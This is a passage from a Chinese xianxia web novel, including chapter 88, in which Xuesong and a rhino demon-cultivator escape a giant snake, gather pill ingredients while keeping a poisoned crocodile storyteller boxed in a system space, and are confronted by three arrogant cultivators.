雪松感觉到犀牛问出刚才那句话之后,就用一种充满渴望的目光注视着自己,眼巴巴的表情,好像很希望得到肯定回答,想了想,他们现在确实是安全的,就顺着他的意思,给出了肯定回答:“是的,我们现在是安全的。”
但这话落在犀牛的耳朵里,那就完全不一样了,犀牛瞪大眼睛,如果他是一只兔子,现在头顶上不存在的耳朵已经因为异常兴奋而竖起来了。
他在心里暗自兴奋,雪松给出了肯定回答!这是什么意思?这不就是明摆着说,你之后跟着我一定安全?反正有仙尊残魂在,就算我保护不了你,还有他呢!
他毕竟是个仙尊,就算现在已经不当仙尊了,修为也大跌,但只要你愿意,他还是能像从前一样,庇护你我!
“那真是太好了!”犀牛兴奋得脸色发红,握着拳头在半空中一挥,十分高兴说。那我可就真的不担心安全了!
雪松不明所以,注视着他,有一点疑惑,虽然现在安全了,是一件很值得高兴的事情,但也不用这么高兴吧?
这种高兴程度已经超过劫后余生了,像是持续不断的后劲在刺激人兴奋,要不是犀牛确实只喝了汤,吃了肉,出现之后的大部分时间,还一直都在雪松面前,雪松真要怀疑他是不是吃了什么不该吃的禁药,比如强力丹药。
那东西和兴奋剂差不多,但比兴奋剂更刺激,因为有些修为低,本身身体又弱的人,没有调理好,急功近利,一口气吃了超出剂量的药,当场就嘎嘣死掉了。
据回春堂的医修说,是因为血液循环过快,心脏跳动过速,身体承受不住负荷,只好爆炸解除问题,幸好那个人没有直接变成人肉炸弹,不然他们还得打扫卫生,挺麻烦的。
在雪松的注视下,犀牛也意识到自己好像表现的有点太控制不住了,担心雪松对自己改观,不把自己带上,那刚刚得来的安全,就马上要变成危险了,连忙安静下来,努力平静,好像正在试图把一个爆炸彩色弹力球变成漆黑色的铁铅球一样,眨巴着眼睛,解释说:“我莫名其妙被弄到这儿来,差点被抢走食物,还被捆了好一阵子,又晕了好一阵子,好不容易没什么问题了,我太高兴了,不好意思。”
雪松若有所思看着他,点了点头:“如果是这样,那没什么,你只要注意自己的身体,不要太激动兴奋,以至于弄坏了,我没有意见。”反正又不是雪松的身体,只要之后不影响行动,雪松是不会管他的。
至于兴奋的理由,听起来挺充分的,姑且就算是这样吧,之后出了事再说。
犀牛看自己好像过了这一关,连忙松了一口气,一个劲点头,仿佛往悬崖底下丢了一块差点把他压死的大石头,愉悦中带着庆幸,抬手擦了擦额头上的汗。
二人休息了一会儿,旁边的鳄鱼仍然没有醒过来的意思,雪松走过去查看情况,决定把鳄鱼带上,不然就没得故事听了。
但是要怎么带是个问题,绑身上有点太诡异了,还得防着鳄鱼突然醒过来咬自己一口,提在手里又有点,像是刚逛了菜市场出来,太不严肃了,容易被看见嘲笑,更何况提的是这么一个东西,还不如菜市场的菜,可以直接煮了吃了,被嘲讽值那是蹭蹭往上涨。
那就收进系统空间吧,系统空间什么东西都可以放,活的也可以,但是,雪松一般不会把活物放进去,免得他们惊慌失措,应激而死,或者,弄脏了他的系统空间格子,又或者,不小心知道了他的秘密,而让他不得不灭口。
虽然从前并没有不得不灭口的事,但他为了以防万一,一直是尽可能避免让别人知道系统存在的,尤其是系统格子。
这可是很有用的东西,储物戒指好歹还有限制,系统空间限制真没那么大,能装的东西多了,一点也不重,不需要单独花钱,还不用带在身上被人看见,安全得很!
越想越觉得系统空间好,再看这个鳄鱼,都觉得这东西有点不能放进去,不然万一污染了系统怎么办?那多可惜!简直是因小失大!
雪松犹豫着,旁边本来还在休息的犀牛,不知他在想些什么,只感觉他好像有一点僵住了,走过来好奇问:“怎么了?有什么事情不好办吗?需要我帮忙吗?我能做些什么?”
雪松本来正在思考系统空间,被犀牛一问猛然一惊,顿时有一种对方似乎知道了自己的秘密的错觉,险些下意识对他动手,幸好最后控制住了,转过头挪过脸,不去看他,免得心情波动,干咳一声:“没什么,你去休息吧,我马上就收拾好。”
犀牛点了点头,往旁边走了两步,拉开了距离,又有点不放心,回头看了一眼,突然发现,犀牛身上的那根绳子,自己之前从未见过,一定不是普通的绳子!
那么这种特殊的,不常见的,能够捆住一个强大的正在水里的水系妖修的东西,能是从哪儿来的?一定是仙尊残魂!
仙尊残魂居然连这种好东西都能随便拿出来给雪松用吗?一个努力保留已死之人的魂魄,一个努力把自己可能有用的东西拿出来给人随便用,真是感人肺腑的深刻情谊啊!
他们好爱对方!
犀牛把脸撇了过去,不再看雪松和地上的鳄鱼,免得对他们造成干扰,又往外走了两步,想要回到刚才的位置上休息。
雪松已经确认鳄鱼不会轻易醒来,并把他装进盒子里,在盒子里留了一个,可以向外联络到雪松的通讯器,就把盒子盖上了。
反正他大小也是个妖修,一时半会死不了的,现在又闭着眼睛昏迷着,躺在黑漆漆的地方,应该不会有什么影响。
雪松把盒子打上蝴蝶结,放进了系统空间的格子,这里的格子,一部分是系统刚绑定的时候送的,一部分是他每天上线自动签到送的,还有一些是抽奖送的,总之,已经多得不得了,完全不用担心有东西放不下。
犀牛坐在了之前休息的位置上,看着雪松把鳄鱼装进了包装礼盒里,还往里面放了一个东西,莫名觉得那个东西有一点像是他曾经看过的什么,定睛一看,立刻想起来了——
相思叶!那个被雪松放进礼盒里面的东西,是相思叶!一种绿油油的,有药用价值的叶子,名字很好听,看起来也不丑,所以常常有人试图表明相思的时候,把那东西摘下来做成礼物送给自己的思念之人。
上一次犀牛见到这种东西,还是在他身边的一个同门手里,那个时候,同门似乎有一个心上人,两个人都很忙,而且不在同一个地方,所以,他们常常互送礼物,一时送这个,一时送那个,通常有两份,一份自己保留作为纪念,另一份送出去,希望对方能够有自己一样的东西。
同门送相思叶的时候让他撞着了,他问那是什么,同门告诉他了,他又问送这东西有什么用,同门用一种你是不是傻的目光看着他,还能干什么?相思叶当然是表相思的!
他又问同门和那个收东西的人是什么关系,因为他当时确实不太清楚,同门红着脸呵斥他,怎么什么事情都要打听,出去出去。
但是临走之前看他好像一头雾水,同门还是用一种恨铁不成钢的语气告诉他,他们是关系很好的朋友,后来听说他们住一起了……
那雪松手里的相思叶也是表明相思的吗?是自己做的,想要送给别人,还是谁做的送给了他?他居然收下了?是仙尊送的吗?
虽然感觉仙尊不像是会向别人表思念的那种人,但犀牛还是好奇向雪松问:“你手里那个东西是谁送你的吗?”
雪松看了一眼,顺口回答:“是啊。”系统送的嘛。
犀牛猛然一惊,果然是仙尊送的!仙尊居然真的会送别人相思叶,还是一式两份,仙尊居然会考虑到这种事?
倒不是说仙尊一定是什么不通情调之人,但这种事情和他以往以来的形象差别太大了,实在让人忍不住震惊!简直是为一个人把自己从前甚至可能以后都不会做的事情做了!
第88章
雪松把东西收拾好之后准备离开, 看了犀牛一眼,犀牛一脸若有所思,好像正在想什么严肃的事情。
雪松不知道他正在思考的东西, 和相思叶有没有关系, 但想了想,还是解释说:“这只是用来做通讯工具用的东西, 没什么特别的, 外表也不过是形状而已。”
犀牛点了点头,一脸我相信的表情, 但看起来还是怪怪的,因为他想的是, 什么叫只是用来做通讯工具的东西?这个东西只承担通讯的用处, 而不承担表达感情的作用?
通讯工具可以做成任何样子, 但做成这个样子, 要说没有一点想法,是绝对不可能的, 雪松是不知道, 还是仙尊根本没有提?多半是仙尊没有提,雪松觉得无所谓,所以造成了现在的情况。
那仙尊平日里一定送他许多东西,有各种各样的用处,他才会觉得,虽然是这种形状, 但也没什么特别的?才会说,外表也不过是形状而已?因为仙尊已经表白过许多次了吧?真是令人羡慕的感情呢!
雪松想了想,觉得横竖他也没说什么,怪一点就怪一点吧, 也许只是错觉而已,说不定离开这儿就会好起来的,倒也不需要太在意。
雪松想了个办法离开了那个水下空间来到了水面,深吸一口气,抹了抹湿漉漉的头发,想起自己下去的时候,因为有避水诀,所以是被裹得像一个球一样,简直和滚下去差不多,唯一的好处是头发没湿,糟糕的地方可就多了,头晕眼花,身体失衡,精神不稳定,心情紧张,肌肉绷直……
雪松上了岸,用法术把头发和衣服都处理了一下,看起来好多了,往周围找了找,没发现犀牛跟着出来,才意识到,犀牛可能根本不知道应该怎么出来,或许还在原地,一脸迷茫等着他。
他干脆开了个通道,推开一扇法术做的门,对还站在另外一边的犀牛招了招手,犀牛眼前一亮,连忙过来,穿过了那扇门,回到了陆地上,踩踏着柔软湿润的绿草坪,连忙又往外走了两步,脸上惊慌失措,好像害怕自己一不小心踩中了极其湿润柔软的泥土而一脚滑倒,重新又掉进水里去一样。
雪松收回了法术,那扇门和通道就都消失了,犀牛继续往外走了两步,和水面拉开距离,一不小心栽进坑里去了,连忙挣扎着爬出来,幸好那里面什么多余的东西也没有,不然,他少不得要承受二次重击。
也幸好那个坑并不是很高,他站在外面又退了退,这一次比之前警惕多了,往周围看了看,周围是平的,没有可能再次不小心掉进坑里,松了一口气,伸着手像盲人一样摸着树干,缓缓往下蹲,看起来放松了许多。
他忍不住抱怨:“这是哪来的坑啊?这里这么平!怎么会突然有个坑呢?这不是——”害人的吗?!
话还没有说完,雪松往前走了两步,低头一看,他刚才踩进去的那个坑,是雪松之前点火的坑,雪松眨了眨眼睛说:“不好意思……”
话音未落,犀牛听见雪松的话,立刻明白过来,想起那个坑是做什么用的,脸上不好意思红了一红,立刻改口:“这不是大好事吗?一下子就警惕起来了!保证之后再要出什么事情都不可能发现不了!跑不了也得叫一声!大家的安全都有保障了!真是太好了!”
雪松知道他本来大概想说什么,听见他改口,有点哭笑不得,挥了挥手,往周围看了看,周围很安静,没有什么人,似乎正适合赶路,对他说:“要先走吗?”
“去哪儿?”他说完话跟着往周围望了望,不知道雪松在看什么,像一只试图伸爪子挠一挠半空中悬挂的毛线团的猫一样,好奇而疑惑问。
“刚才这里出了事,想来并不太安全,之前该吃的该喝的也都过了,应该稍微赶一赶路了吧?总不能一直待在一个地方!那多没意思?”更重要的是,一直待在这,其他地方的好东西,就找不到了,也许被别人拿走了,也许被破坏了,也许被藏起来了,雪松可不想来一趟只拿那么一点东西,那多可惜!
雪松注视着他,用目光询问他的意见,想要留下来,还是跟着一起离开,他眨了眨眼睛,心中一紧,还以为雪松要趁机抛弃他,连忙站起身来,向雪松靠近说:“我跟你一起走!”
雪松点了点头,转身找了个方向,一边走一边回答:“那好,你就跟上吧。”雪松说着,掏出了之前放起来的龙骨指针,开始寻找新的方向。
龙骨指针里的眼珠转动了一阵,似乎没有找到什么,又回到了中间,闭上了眼睛,一副百无聊赖,而且无可奈何的样子。
雪松把指针收了起来,继续往前走,决定过一阵子再试一试,因为看刚才龙骨指针的表现,恐怕周围没有什么大宝贝。
跟上来的犀牛好奇问:“你把鳄鱼带走是有什么用处吗?”
雪松看了一眼系统空间里的鳄鱼礼盒,盒子还是安安静静的,没有任何要被人打开的迹象,回答:“鳄鱼答应了要给我讲故事换他的命,故事还没讲完,就被一个像水鬼一样的人偷袭,晕倒了,那个人说给他下了毒,一天只能醒来一次,时间不定,我要他把故事讲完,否则,我是不会把他丢出去的。”
“那要是他的故事一直讲不完怎么办?那他岂不是得到了你的庇护?这也太占便宜了吧?不仅没有生命危险,而且还可以,什么都不用担心,只要想应该说什么故事就好?”犀牛瞪大眼睛,感到有些惊讶,忍不住问。
雪松笑了笑:“他可未必觉得一直躺在礼盒里面是一件值得高兴的事。”至于安全,其实也未必多么安全?
犀牛若有所思,这倒也是,中了毒之后,每天只能醒来一次,又被雪松带上,相当于没有办法确认自己在哪儿,生命还被压缩了,没有享受到足够多的快乐,只能每一次醒来都立刻去思考故事的后续,还要尽可能口齿清晰又让人满意地讲出来,细想想是有点倒霉。
不过犀牛还是觉得有一点疑惑,因此向雪松问:“我怎么好像不知道有这么一回事,而且后脑勺痛痛的?”
雪松眨了眨眼睛,若无其事说:“不知道,可能是因为那个突然冒出来的水鬼一样的人,在进鳄鱼的空间之前,丢了一个炸弹一样的东西,那个东西炸开之后,弥漫出了有昏睡效果的雾气,你接触了雾气,就神志不清睡过去了,后脑勺大约是神志不清的时候撞上哪儿了吧?这也是有可能的。”
雪松顿了顿又问:“应该不是很痛吧?”
犀牛摸了摸后脑勺,露出憨憨的微笑:“已经没事了,确实不是很痛,之前不小心摔进坑里的时候,精神一紧绷,浑身酥酥麻麻的,其实都不太注意的到后脑勺的疼痛了,毕竟我身上的其他地方,伤势比后脑勺重多了。”
话刚说完,他又想起摔进去的那个坑是雪松搞的,连忙解释:“其实我现在身上的伤好得挺快的,可能是因为之前吃的肉喝的汤,都很有灵气,所以给我提供了充足的能量,这很好,所以,你不用担心我什么的。”
雪松倒没多想,只是听他这么一解释,觉得他仿佛有些敏感,点了点头,也不想刺激他,简明额要:“好的,我知道了。”
犀牛眨巴着眼睛看着他,发现他脸上的神色似乎真的很平静,没有任何生气或者伤心的迹象,才悄悄松了一口气。
雪松在水下空间的时候,还在使用仙尊留下的东西,不管是为了通讯,为了怀念,还是别的什么,雪松随手能拿出仙尊曾经送给他的东西,足以证明,他们感情深笃。
那雪松看着东西,即使没有睹物伤人,情绪上也必然有所触动,也许不是不伤心,只是没表现出来,自己可不能再乱说话伤人!
两个人安安静静又走了一段路,雪松看了看一直跟着的犀牛,发现他的呼吸比之前重了一些,额头上的汗珠也渐渐多了,整个人脸上和脖子上都湿漉漉的,也不知道是之前水下空间的雾气凝在他脸上了,还是他真的太累太热,还偷偷流了眼泪,擦了,但没擦干。
雪松往周围看了看,找了一个看起来稍微合适休息的地方,走了过去,那是一截倒塌的大树,树上有两个凹坑,看起来非常适合坐人,简直就像是专门为了让人做下去而提供的,也不知道是天生的,还是有人路过这里顺手做的。
雪松对犀牛招了招手:“你看这怎么样?”
犀牛也看见了树上的两个坑,惊了一下,眨巴着眼睛说:“这可真是不错!虽然不太适合睡觉,但只是坐下休息,是很可以的地方!”
他说完,嗓子似乎有些干涩,低下头咳了两声,皱起眉,脸色有些发白,重新抬头的时候,表情不太好看,很需要休息的样子。
雪松就指了指旁边的树干,有些担忧对他说:“那你先休息一下吧?我们刚才也赶了一段路了,不需要太着急,反正这里这么大,一时半会儿也走不完,劳逸结合才是最好的办法。”
犀牛实在很累又虚弱,听见雪松这样说,还是认同点了点头,也就不再跟他客气,一边往前走去,一边垂着眼睛回答:“太好了,谢谢……”
话音未落,犀牛就已经走到了树干面前,微微弯下腰去伸手摸了摸树干,发现上面没有粘液,没有虫子,干燥得就好像在夏天的太阳地底下晒了三天三夜似的,好极了,简直像是睡在三层厚的干稻草上面,还铺了一层凉席一样。
犀牛闭上了眼睛,一边伸手摸索着树干,一边坐了下去,喘气越发沉重,又咳了两声,好像肺很不舒服,皱着眉头,一直没有轻易松开,但坐下去之后,似乎是觉得有雪松在旁边,又有这么好的一个用来休息的树干,可以放松下去了,就把身体微微一倒,靠着旁边斜斜的树枝,闭眼睛睡了,好像一秒都没用。
看得出来,他的睡眠速度绝对超过世界上的百分之九十八的普通人类!也有可能是百分之九十九点九?总之是很强了。
雪松也在旁边坐了下来,不过,坐的是一块树干旁边的石头,因为,犀牛看起来已经睡着了的样子。
雪松要是再坐过去,容易把他惊醒,那很影响睡眠质量,更何况,他休息了,雪松要是再休息,就没有人警惕了。
这种荒郊野外,出什么事,那可就来不及反应了,所以雪松还是坐在石头上比较好,坐在石头上比坐在树干上更容易清醒一点。
毕竟,这块石头不是专门用来坐的,没有那么合适的位置和形状,还比树枝冰凉一些,用来提醒人挺合适,用来睡觉或者放松不合适,但用在这里,那是很好的了。
雪松没觉得有什么,只是这样坐着,稍微有一点无聊,更何况之前的路,他也走了,之前的事,他也经历了,之前的法术他也消耗了灵力,要说一点不累,那是不可能的,无聊着无聊着,就容易放松,放松就有可能睡着,那不好。
雪松在险些打瞌睡睡过去之后,就猛然惊醒过来,给了自己一个清醒术,这东西能保证他一时半会儿睡不着。
他站起身来走来走去,试图打发时间,脚步声和树叶在脚下被踩碎的声音混在一起,听着有点诡异,他往旁边看了一眼,犀牛没有醒过来,那就不用担心了。
他又往外走了走,之后在这一个范围里来回,并掏出了龙骨指针,试图看看这附近有没有什么东西,仍然暂时没有。
他正要把指针收回去,不远处传来了脚步声,指针睁开眼睛,往远处看去,指出了一个方向。
他一边往那个方向走去,一边收起了指针,迎面遇上一个人,这个人走过来的时候悄无声息的,两个人对视一眼,都停住了脚步。
这个时候,树干那边的犀牛,受了刺激一样,突然醒了过来,猛然一颤睁开眼睛,从树干上跳了起来,左右看了看,第一时间没有看见雪松,脸上露出惊慌的神色,往外跑了两步,差点摔倒,注意到了雪松,松了一口气,并向着这里靠过来。
他的速度很快,几乎像蹦起来的袋鼠,眨眼间来到了雪松面前,正当另外两个人以为他到这里就结束了,他忽然又是一跳,跳到了二人之间,背对着雪松,面对着那个陌生人,握着拳头,又紧张又瞪眼睛说:“你是什么人?不许动手!别以为我怕你!二对一!你不占优势!”
雪松一时无话,在犀牛来之前,他压根没想着和陌生人打一架,毕竟对面只是警惕他,像一只突然在树根旁边竖起耳朵的兔子,看不出什么攻击意图,他没有必要找麻烦。
但是犀牛这么说之后,搞得他好像早就想要打对方,只是突然把一个睡着的傻子叫醒了,跳到中间来找茬而已。
对面听了犀牛的话愣了一下,看向雪松,想要确认一下犀牛说的话是不是真的,注意到了雪松脸上那种我拿你真没招了的表情,知道雪松没有要打起来的意思,不由自主笑了一下,对犀牛回答:“不好意思,我这就离开,我不知道你们在这,也不知道这是你们的地盘——”
他举起双手开始往后退,像一个谨慎而狡猾的箭靶。
雪松见他仍然没有要打的意思,松了一口气,都忘了要辩解一下,这一块区域并不是他和犀牛单独在秘境里划出来的地盘。
犀牛见对面要走,也松了一口气,毕竟真要是打起来,多少有受伤的可能,他要是打不过,那就更不好了,开局放嘲讽的,在被打败之后,很容易遭到针对,不打就没有失败的可能,也不会受伤,算好事。
可是就在这个时候,不远处传来了野兽的嘶吼声,众人都是一惊,准备离开的那个人的脚步也停住了,皱着眉头,神色警惕,盯着声音传来的方向,一时没有动作,不知道是不是陷阱,又悄悄往雪松和犀牛的方向瞥了一眼,开始怀疑他们是不是真要搞自己。
因为如果野兽咆哮的声音是假的,距离这么近,周围又没有别人,多半是雪松和犀牛提前布置好的,之前没有叫,现在叫起来了,那究竟是捕捉到了猎物的意思,还是准备开始恐吓猎物的意思?
谁是那个猎物?他是那个猎物!谁被捕捉或者恐吓到了?毫无疑问是他!毕竟,刚才犀牛也说了,二对一他不占优势。
不过他没思考太久,因为一头野兽从茂密的丛林中冲了出来,像离弦之箭一般,撞进了他们的目光之中。
那头野兽的速度毫无疑问是很快的,他们只是眨了眨眼,那野兽就从远处到了他们面前,好像随时可以转过头来把他们咬死。
他们的头,对于那头野兽而言,和西瓜差不多大,而对于他们来说,那简直不是一头野兽,而是一堵墙。
身上臭烘烘裹着泥巴,浑身汗浆浆流着水,瞪着眼睛,长着獠牙,张着嘴,呼哧呼哧喘气,四条腿和柱子一样粗,看都不看他们一眼,仍然要继续往远处跑去,好像身后有什么恐怖的东西正在追捕。
这样的野兽看起来已经足够恐怖,还能有什么在这样的野兽后面进行追捕呢?众人齐齐往野兽身后看去。
一条仿佛十层楼那么高的大蛇,从森林里爬了过来,并在注意到他们的时候抬起了头,冲他们发出了嘶嘶的声音。
声音倒不是很大,但他们看见,那条蛇的嘴里,刚吞下去一头野兽,喉咙里,还卡着另外一头挣扎的,瞪着眼睛而目光惊恐的小一些的动物。
那条蛇把野兽吞了下去,又张开空空如也的血盆大口,一下子把还在奔跑中的,刚刚从雪松他们面前路过的野兽叼住,往天上一甩,张开嘴吞了。
这下子地上还剩着的比较明显的动物目标,也就只有雪松犀牛和那个陌生人了,他们三个呈现出一种,三角形般的站姿。
那条大蛇注视着他们,缓缓把头低了下来,发出嘶嘶的声音,似乎还没有吃饱,而且对他们有些兴趣,看起来恐怖极了。
犀牛忽然对雪松传音道:“现在情况危急,我先试试看能不能把这条蛇从这引开,你之后按照痕迹去救我怎么样?我想我还是有一点运气的。”
雪松吃了一惊,不知他怎么会这样想,因为他要是一个人去引走那条蛇,对比悬殊之下,恐怕凶多吉少。
犀牛没等到雪松的回答,毫不犹豫冲了出去,另一边向远处疾驰,一边对着那条巨大的蛇发起了微不足道的攻击,吸引着注意力,连陌生人见此情形都吃了一惊。
不过既然有人开头,离开的事情就好办多了,陌生人横竖和雪松犀牛他们萍水相逢,没有什么留下来的义务责任,在犀牛跑走之后,向着反方向,也立刻冲了出去。
他可不愿意待在原地,毕竟他又不认识雪松,谁知道之后会发生什么?往严重点说,待在原地一动不动,对他而言,和等死没有多大区别。
他跑出去之后一下子就不见了,本来蛇也有点想追他,但是考虑到,犀牛居然敢攻击自己,不给他一点厉害瞧瞧,他还真以为见到自己可以随便攻击呢,这完全就是挑衅,有损尊严,必须要严厉惩治!
巨蛇就追向了犀牛,速度很快,而且似乎有一点生气,犀牛在不远处被巨蛇一口叼住,往上一甩,甩到了半空中。
雪松给自己加了隐形术,飞行术和疾行术,往上一冲,趁着蛇还没有碰到犀牛,在底下张开嘴等着的时候,在半空中抓住犀牛,一边给他上隐形术,一边让他自己用飞行术,同时把他扯向远处,免得被巨蛇抓住。
张着嘴的巨蛇等了一会儿,没等到人落下来,有些疑惑,砸了砸嘴,感觉自己好像没吃着什么,往周围看了看,又往天上看了看,到处都空空的,没有什么可吃的。
一阵风吹来,空气中的气味散了不少,张着嘴的巨蛇,吐出了蛇信子,试图感知一下,周围可能存在的食物的情况,没怎么感觉到,又不想追附近那些小东西,吃了还不如塞牙缝的,都不顶饱,也没什么意思,想着稍微吃了点东西,也该休息休息,就向来时的路去了。
慢吞吞回到洞穴的巨蛇,在没有打扰的情况下,很快就睡着了,与此同时,雪松和犀牛已经到了很远的地方,停下来休息,一边往身后张望那条蛇追来没有,一边往周围查看有没有什么突然冒出来的新东西。
看起来没有,两个人都松了一口气,找合适的位置坐下来休息,雪松休息了一段时间,忽然问:“你是怎么想的?突然就发起攻击跑出去了?这很危险,你知道吗?”
你之前看起来很惜命,怎么一下子来了个反转?
犀牛眨了眨眼睛,有点惊讶,抬头看了雪松一眼,又低下头去说:“我觉得你很厉害,一定可以救我,一直在那里僵持着也不是个事,时间长了容易出意外,所以我就这么做了……”
我觉得仙尊很厉害,你一定可以带着仙尊残魂找到我,把我救下来,我又可以表现,又可以救人,又没有生命危险,好得不得了,我知道会出意外,但我赌的就是没有意外,所以我这么做了……
雪松将信将疑,点了点头,虽然觉得他的胆子突然变大很可疑,但他既然给出了解释,又暂时没有要下手的样子,姑且相信吧,之后有问题再问。
又休息了一段时间,两个人都站起身来,打算四处走一走,看看有没有什么东西,犀牛在地上挖了个坑,发现里面藏着一个盒子。
打开一看,盒子里面是个水晶骷髅头,犀牛露出失望的神色,觉得很没意思,就把盒子盖上,要放回去,雪松若有所思。
犀牛看他好像在想什么,向他问:“难道这东西也有用处吗?这不就是一个劣质小玩具吗?还是一眼看起来就非常假的那种!”
雪松微笑了一下回答:“我不太确定,但我觉得,这个东西应该不是玩具,而是一种石头,来磨成粉,可以炼制丹药。”
“什么样的丹药?”犀牛眨巴着眼睛,好奇问。
“一种用来提升修为的丹药,”雪松耸了耸肩回答,“好像叫,成婴丹。作用是让人从金丹期提升到元婴期。”他的修为正在这个时期,所以他知道,他还想过要不要收集材料,送到丹药阁去,让那边帮忙炼制一下。
“原来如此,那这个东西算是很有用的了,”犀牛点了点头,看了一眼盒子里的东西,把盒子交给了雪松,“那你收着吧?回头拿去练了丹药,或许有用,算作谢礼,毕竟你三番四次救了我,我什么东西都不给,似乎有些太过分了。”
虽然仙尊救人,大约并不图什么回报,毕竟仙尊拥有的东西很多,不必看上别人的,但想来仙尊也不该什么都得不到,送一点东西,也是理所应当,又不强迫不相干的人给,算不得什么。
雪松将信将疑,接过了盒子,接触了一下里面的东西,向他问:“你真要送给我?这东西要是拿去炼制丹药,可不会剩下什么!”
“没关系,”犀牛笑了笑,“送给你就是你的,你要拿去做什么都随便你,和我没什么关系。”
雪松点了点头,收下了那个盒子,忽然感觉系统空间里的盒子正在动,就把那个盒子取了出来。
盒子里的鳄鱼正在四处摸索,抓到了绿色的相思叶灵器,却因为不熟悉而一时间无法知道怎么使用,一脸迷茫坐在里面,搞不清楚自己究竟在哪儿,按理说应该在水下空间,可是周围,一点不像有水。
难道是被人移动了?鳄鱼正在思考,头顶突然亮了,抬头一看,原来是有人打开了盒子的盖子,打开的人正是雪松。
雪松让他出来,对他说了一下大概的情况,又提醒他:“故事还没有讲完!”
他点了点头,想起自己闭上眼睛之前的事,开始继续讲故事:“男的停在了大夫的家门口,干脆蹲在门外面等着,不知道里面的人什么时候出来,不由得开始向上天祈祷,希望事情能够尽快结束,而一切平安。
但是事情和他祈祷的并不一样,因为屋子里的大夫把他赶出去之后就立刻把门都关了,窗户也关了,这是怕他偷窥,关好之后,躲进了小房间里,睡大觉去了。
这倒不是因为他没有能力,只是因为他不愿意治,他不愿意治,也不是觉得钱可能少些,事可能多些,医闹可能大些,而是因为,从前些天一个陌生而危险的病人,独自来到这里之后,他就几乎什么也不治了。
他老觉得自己很累,什么事情都不想办,幸好他既没有父母,也没有妻子孩子或者小妾仆人,连徒弟都没有,不想做事的时候往床上一躺,根本不用担心被谁过来求爷爷告奶奶,又或者扯着耳朵大骂,逼迫他起来。
其他人不知道,他也没说,就总还有人过来,给他送病人,要在往常,他一定觉得是好事,可是今天没办法,那之后就是没办法,他是什么也不做的,只是把病人收进来,连赶走也觉得费力气,就让家属把病人放在医馆里,自己回去,第二天来,有些病人一晚上就好了,有些病人死了。
病人好了的家属千恩万谢,病人死了的家属大哭之后,觉得也是没有办法,把人抬走了,也不纠缠他,算他运气好。
所以这次他也打算什么都不做,等到明天再看情况,如果人死了,就让家属把尸体带走,如果人没死,那就让家属把人领走。
这比从前做这做那简单极了,他很快就呼呼大睡,什么也不知道了,而在医馆最里面的那张床上,一个肚腹巨大的病人,正躺在那里,闭着眼睛。
不远处新收进来的靠近门的那个病人呻吟着醒了过来,皱着眉头按着肚子,一副痛苦不堪的样子,裤子湿漉漉的,早就脏得不行了。
病人开始呼喊,救命啊,谁来救救我有没有人,来来回回说这些话,但是太虚弱了,所以声音不大,连门都穿不透,病人开始感到绝望,呼吸都微弱了许多,血流得更多了。
不知道是因为呼喊还是血液,最里面的那个病人醒了,睁开眼睛,侧头看向了门口的那张床,也就是发出声音的那个病人的床。”
话还没有说完,鳄鱼的喉咙里忽然嗬的响了一声,他两眼一翻,扑通一声又晕倒在地上,显然睡过去了。
雪松重新把他放进盒子里,打好包放回了系统空间,感觉想要听完这个故事,一时半会儿是不行的,不由得叹了一口气。
时间很晚了,雪松打算往旁边再找一找,看看有没有什么能用的东西,犀牛跟着他一起,刚才听故事听得昏昏欲睡,现在走了两步,一下子精神抖擞起来,左看看,右看看,像一条刚出门的鬣狗,正在用鼻子嗅来嗅去。
雪松掏出龙骨指针看了一眼,指针指向了一个方向,他向着那个方向走过去,一段时间之后,他停了下来,因为他看见了一大片的蘑菇。
那些蘑菇并不像动物那么大,十分小巧玲珑,最大的也就巴掌那么大,小一点的只有指甲盖那么大,没有什么味道,颜色也平平无奇,有一点像是变种的平菇。
雪松对于面前这些蘑菇丢了一个鉴定术,之后发现,这些并不是普通的蘑菇,还是之前他提到过的,那个丹药的主要材料之一。
他立刻掏出一个大麻袋,开始对这些蘑菇进行采摘,因为不知道究竟要什么样的才比较适合炼成丹药,他就抓了一大把,又抓了一大把,什么样的,什么大小的,什么部分的部都有。
直到他的麻袋都差不多装满了,他把袋子一捆,送进了系统空间,转头看向一路跟着的犀牛问:“你要不要也来一点?带出去好歹可以卖钱,总有人用得上。”
犀牛左右看了看,点了点头,也掏出一个小一点的袋子装了一些,放进了自己的储物戒指里面。
二人转身离开,毕竟,这里这么大一片蘑菇,他们总不能全都带走,太多了,容易冲击市场,造成价格下跌。
雪松走了一段路,又掏出龙骨指针看了一眼,指针没什么动静,看来附近没有什么可拿的了。
他停下来挖了个坑,点上火,重新掏出了犀牛角,往里面加入早就准备好的犀牛肉块,腌制的时间更长久,颜色更深,肉块更软,更嫩,看起来更好吃,在经过妖丹的近距离处理之后,灵气也更浓郁,是很不错的补给食物。
往犀牛角里面加水之后,就剩下等待了,眼看着水咕嘟咕嘟冒泡,雪松和犀牛坐在旁边,眼巴巴看着,准备过一阵子立刻开吃。
一阵风吹来,香味飘了出去,远处闻到香味的人逐渐往这里靠近,直到雪松和犀牛都听见了脚步声,他们一人拿着一个碗和一个勺子,把犀牛角里的汤和肉各分了一半,一边搅拌,一边试图把汤和肉吞掉,只用了眼角余光去看,看见不远处走过来三个人。
这三个人着装各异,进退同时,两男一女,看神色仿佛相互之间都有点什么关系,走过来的时候,还在低声细语。
“闻起来好香啊,一定很有灵气,吃下去绝对对修为有好处!我们真是赚大了!”
“也不知道是哪里来的傻子,居然在荒郊野地里做饭吃,倒不如说都已经当了修士了,还要吃东西,真是可笑可笑,白当修士了,不如把他们的东西都让给我,也算物尽其用,我比他们像修士多了!”
“可不是吗?也不知道找一个没风的地方做饭,做起来还要用这么好的食材,他们配吗?傻子不配吃东西!傻子去死!东西给我吃!我勉为其难,可以给他们收一收尸!”
三个人说完,对视一眼,哈哈大笑起来,好像他们说的是很好笑的笑话一样。笑完了,他们往这边一看,看见了两个人,正低头吃着什么,面前还有火和一个一看就很有灵气的被烧过的犀牛角,顿时瞪大眼睛,露出愤怒而诧异的震惊表情,眼角和嘴角都抽搐,用一种你们真是暴殄天物的语气喊道:“住手,住手!”
雪松和犀牛没听他们的,低头把最后一点碗里的食物都吃光了,放下餐具,起身看向他们。
他们跺着脚,脸上通红,喉咙里哎呀哎呀叫着,好像被狠狠踩了一样,骂道:“那么好的东西让你们两个吃了?你们两个就那么吃了?怎么不多等一阵?再等等我们就来了!我们比你们该吃会吃多了!”
犀牛上下把他们打量了一下,对雪松低声道:“这三个人的脖子上都有微小的黑色印记,他们是三花会的人,说不定还是三花会元老的孩子,因为只有三花会元老的孩子才会这么嚣张。”
雪松点了点头,对面向他们喊道:“把犀牛角交出来!这次就饶你们不死!否则,别怪我们不客气!”
